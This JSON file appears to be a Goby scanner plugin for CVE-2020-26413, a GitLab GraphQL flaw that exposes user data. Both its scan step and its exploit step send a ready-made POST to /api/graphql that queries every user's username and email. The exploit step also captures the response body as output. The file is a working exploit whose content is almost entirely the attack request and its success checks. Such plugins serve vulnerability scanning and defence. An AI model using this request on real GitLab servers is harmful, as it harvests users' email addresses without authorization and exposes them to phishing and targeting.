{
      "Name": "GitLab Graphql Email information disclosure (CVE-2020-26413)",
      "Level": "1",
      "Tags": [
            "Disclosure of Sensitive Information"
      ],
      "GobyQuery": "app=\"GitLab\"",
      "Description": "In gitlab, the user's mailbox and user name will be disclosed when the constructed data is input by the graphql interface",
      "Product": "GitLab",
      "Homepage": "gitlab.com",
      "Author": "PeiQi",
      "Impact": "<p>Disclosure of user's mailbox<br></p>",
      "Recommandation": "<p>undefined</p>",
      "References": [
            "http://wiki.peiqi.tech"
      ],
	  "HasExp": true,
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/api/graphql",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/json"
                        },
                        "data_type": "text",
                        "data": "{\"query\":\"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }\",\"variables\":null,\"operationName\":null}"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "username",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "email",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "@",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
	  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/api/graphql",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/json"
                        },
                        "data_type": "text",
                        "data": "{\"query\":\"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }\",\"variables\":null,\"operationName\":null}"
                  },
				  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "username",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "email",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "@",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
					"output|lastbody"
				  ]
            }
      ],
      "PostTime": "2021-04-04 21:32:36",
      "GobyVersion": "1.8.255"
}